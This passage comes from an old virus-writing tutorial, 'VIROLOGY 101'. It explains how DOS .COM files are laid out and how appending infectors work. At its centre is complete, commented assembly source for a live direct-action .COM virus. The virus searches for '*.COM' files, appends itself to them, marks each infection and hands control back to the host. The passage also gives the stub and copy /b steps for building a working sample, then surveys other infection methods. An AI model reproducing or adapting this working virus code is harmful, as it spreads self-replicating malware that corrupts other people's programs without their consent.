Upper-Level language viruses sections, only infect executable
    files such as .COM's and .EXE's and are written in assembly.
    There are numerous methods to infect each file type - some of the
    more popular will be shown in this tutorial. The simplest type of
    executable file to infect is the .COM file.  COM files are direct
    memory images of the programs.  When a COM file is run, DOS loads
    what is called the Program Segment Prefix (PSP), a data structure
    containing a lot of "book keeping" information for DOS, at the
    first available segment in memory.  The PSP is 256 (100h) bytes
    long.  Directly after this, the .COM file is loaded into memory,
    so it starts at an offset of 100h.  Because COM files are loaded
    directly into memory as images, they must be able to be contained,
    with the PSP, in one segment, making their maximum length just
    short of 64K.
         Because COM's are so simple, there are a multitude of ways
    to infect them.  One way is, as seen in the C virus earlier, just
    to overwrite them with the viral code.  This is obviously not the
    prefered method, however, as it destroys the host program.
    Instead, a way must be found to allow the virus to execute, then
    to restore control to the host program afterwards.  Several
    methods to do this have been developed, the most common of which
    is the appending virus.  The basic technique to this style of virus
    is to place its code at the end of the file, then place a jump at
    the beginning of the file to point to the end.  This accomplishes
    the task of executing the virus first thing when the file is run.
    To restore control to the host, however, takes a few tricks.
    First, one must store the bytes that the jump was written over
    in the file.  Then, once the virus is finished, these bytes must
    be restored in memory, and the virus should jump to the beginning
    of the host (at 100h because it is a .COM).  This is all simple
    enough, but there is one more difficulty that this type of virus
    must face.  With 8086 assembly, all of the near jumps and calls
    are relative - that is, a command that jumps ten bytes forward
    when executed in one location will jump ten bytes forward when
    executed in another.  Data referencing, however, is done on an
    absolute basis.  If a file has data at one place in memory when
    compiled, then even if it is offset in memory it will continue
    to look for the data at the original location.  Because viruses
    that work in the manner described earlier could possibly end up
    at any offset from their original positions, we must find a way
    to adjust for that.  There are several tricks for this, the most
    common being to CALL a dummy subroutine, POP the current offset
    of the next command off of the stack, subtract the old offset of
    the command DIRECTLY AFTER the call, and store the result in BP
    (or BX, SI, DI, etc.) for indirect addressing, i.e.
    "mov ax,[bp+Location]."  The reason this works is because the CALL
    command does two things, it pushes the offset of the command
    directly after it onto the stack, and then it jumps to the
    location of the subroutine.  Since the ORIGINAL offset of the
    command directly after the call is then subtracted from the
    CURRENT offset of the command, it gives you the total displacement
    of the virus.  A simple coding example for the is the following:
       call    get_offset           ;Call dummy subroutine
    get_offset:
       pop     bp                   ;Pop current offset of get_offset
                                    ;into BP
       sub     bp,offset get_offset ;Subtract original offset to get
                                    ;current displacement of virus.
       lea     si,[bp+wherever]     ;Common way to set a register to
                                    ;be the the offset of a variable.
         Now that we have a basic feeling of what a .COM infector must
    do, let's list each step needed in a relatively simple appending
    COM virus.
            1.)  Jump to virus
            2.)  Find a .COM file.  If none are left, go to step 6.
            3.)  Check to see if it has been infected. If it has,
                 go to step 2.
            4.)  Write the virus to the end of the file.
            5.)  Store the first three or four bytes at the beginning
                 of the new host and overwrite them with a jump to the
                 virus code.
            6.)  Restore host's old bytes and return control to host.
    Looking at step #3, we see something that was breezed over in the
    second C virus - identification of infected files.  Usually, this
    is done by "marking" each file infected in some way, either through
    the time-stamp or by placing a specific "marker byte" in the file
    that the virus can check for.  If this is not done, than files may
    be infected repeatedly until they grow too large to execute - not
    a desirable result.  The following virus is a simple direct action
    (meaning it infects files when it is run and does not stay present
    in memory afterwards) appending .COM infector.  It will infect one
    uninfected .COM file in the current directory each time it is
    executed until all are infected.  Notice that the programs will
    execute just as if they were uninfected, with perhaps a slight
    delay before they run and a little extra disk access.  Study the
    following code carefully, as it contains some neccessary portions
    of code that have NOT been mentioned so far - they will be
    explained in the code.
    - - - --------------- Start Code ----------------------- - - -
    ;     This file is a direct-action appending .COM infector
    ;written in TASM - compatible assembler for the IBM PC.
    ;It is presented as a part of VIROLOGY 101 (c) 1993 Black Wolf.
    ;It is a live virus, and should NOT be released.  Please execute
    ;the virus only on isolated machines under controlled conditions.
    ;    To compile this virus, one must first make a stub file, or
    ;an initial "host", and attach the virus to it.  The stub should be
    ;a program like the following:
    ;
    ;   .model tiny
    ;   .code
    ;               org 100
    ;start:
    ;    nop
    ;    nop
    ;    nop
    ;    nop
    ;end start
    ;
    ;    To attach the stub file to the virus, use the following line
    ;from DOS.
    ;                       copy /b stub.com+vircode.com newvirus.com
    ;
    ;This will produce a live, working virus.  Please be careful with
    ;it.
    .model tiny
    .radix 16                               ;Default into Hexidecimal
    .code
            org 100
    start:
            call    get_offset              ;This places the displace-
                                            ;ment of the virus from its
    get_offset:                             ;original compilation into
            pop     bp                      ;BP.
            sub     bp,offset get_offset
    Restore_Host_File:                      ;This routine moves the
            lea     si,[storage_bytes+bp]   ;stored bytes of the
            mov     di,100                  ;current host back to their
            movsw                           ;original place (at the
            movsw                           ;beginning of the host).
    ;The DTA (Data Transfer Address) is the location that DOS puts
    ;information regarding file I/O, such as from a search for files,
    ;CS:0080 in .COM files - inside the PSP.  Unfortunately, it is
    ;located at the same address in the PSP as the command-line
    ;parameters that are passed from DOS to your user program.
    ;Because of this, if you simply asked Dos to do a search for files
    ;without changing the location of the DTA first, all command-line
    ;information would be lost.  This would be disasterous in viruses,
    ;as it would cause unpredictable results in the host file.  The
    ;solution is simple:  move the DTA to a new address for the virus,
    ;then restore it to the default position before the virus restores
    ;control to the host.
    Set_DTA:
            lea     dx,[end_virus+bp]       ;Set DTA to the end of the
            mov     ah,1a                   ;virus.
            int     21
            mov     ah,4e
            xor     cx,cx                   ;Look only for normal
                                            ;attributes.
            lea     dx,[File_Mask+bp]       ;Search for all files
    Find_File:                              ;matching '*.COM'.
            int     21
            jc      No_More_Files
            mov     ax,3d02
            lea     dx,[end_virus+1e+bp]    ;Offset 1eh in DTA =
                                            ;    filename
            int     21                      ;Open file for read/write
                                            ;access.
            xchg    bx,ax                   ;Put File handle into BX
            mov     ah,3f
            mov     cx,4
            lea     dx,[storage_bytes+bp]   ;Read in first four bytes
            int     21                      ;of file
            cmp     word ptr [storage_bytes+bp],'ZM' ;Standard EXE
            je      close_file                       ;mark, file is a
                                                     ;misnamed EXE.
            cmp     word ptr [storage_bytes+bp],'MZ' ;Other possible
            je      close_file                       ;EXE mark.
            cmp     byte ptr [storage_bytes+bp+3],'V' ;Infection mark:
            je      close_file                        ;file infected.
            mov     ax,4202                ;Go to the end of the file.
            xor     cx,cx                  ;This function returns
            xor     dx,dx                  ;file size into
            int     21                     ;DX:AX
            sub     ax,3                            ;Put file size - 3
            mov     word ptr [bp+jump_bytes+1],ax   ;(jump instruction
                                                    ;length) into jump
                                                    ;bytes.
            mov     ah,40                           ;Write virus to the
            mov     cx,end_virus-start              ;end of the file.
            lea     dx,[bp+start]
            int     21
            mov     ax,4200                         ;Return to the
            xor     cx,cx                           ;beginning of the
            xor     dx,dx                           ; file.
            int     21
            mov     ah,40                           ;Write jump bytes
            mov     cx,4                            ;and marker byte
            lea     dx,[bp+jump_bytes]              ;to the beginning
            int     21                              ;of file.
            mov     ah,3e                           ;Close file
            int     21
            jmp     No_More_Files                   ;Only infect one
                                                    ;file each time.
    Close_File:                                     ;Close current file
            mov     ah,3e
            int     21
    Find_Next_File:                                 ;Find another file
            mov     ah,4f
            jmp     Find_File
    No_More_Files:          ;Reset DTA to original location
            mov     dx,80
            mov     ah,1a
            int     21
    Restore_To_Host:        ;This is basically a "jmp cs:100"
            mov     di,100
            push    di
            ret
    File_Mask       db      '*.COM',0     ;File mask used for search
    jump_bytes      db      0e9,0,0,'V'   ;'V' is the marker byte.
    storage_bytes:
            nop                           ;dummy storage bytes for
            nop                           ;first execution.
            int     20      ;Terminate
    end_virus:
    end start
    - - - ---------------- End Code ------------------------ - - -
         While the appending COM infector may be the most common, it
    by far not the only method of infecting a COM file.  Some of the
    different ways are briefly explained below.
         Generic Appending:  This is the method explained and
    demonstrated earlier.  It will place a jump over the first few
    bytes of the host that jumps to the end of the host, where it
    places itself.
         "Shift" virus:  These viruses place themselves at the
    beginning of the file, "shifting" the host to a new offset in
    memory.  When they are done executing, they "shift" the host back
    to offset 100h and execute it.  This style eliminates the need for
    the displacement calculations found in appending viruses, but they
    must find some way to "shift" the host back without overwriting the
    code doing the "shifting".  This technique works best in memory
    resident viruses, rather than direct action.
         Non-Destructive Overwriting:  The usual method for this type
    is to copy a chunk of code at the beginning of the host to the end
    of the file, then overwrite that chunk with the virus.  Restoration
    is quite similair to the "Shift" method.  As above, this one works
    best as a memory resident virus.
         Jump Redirection:  This type is basically the same as the
    Appending style, but it will redirect jumps that are already inside
    the host to point to it.
         Random Placement:  This type is rare, generally found as
    research viruses only.  It can place itself anywhere within a file,
    usually using methods similar to the Non-Destructive Overwriting
    for restoration and either Jump Redirection of the Generic
    Appending for execution (i.e. jumps to virus).  The main purpose
    for this is to complicate disinfection - a little.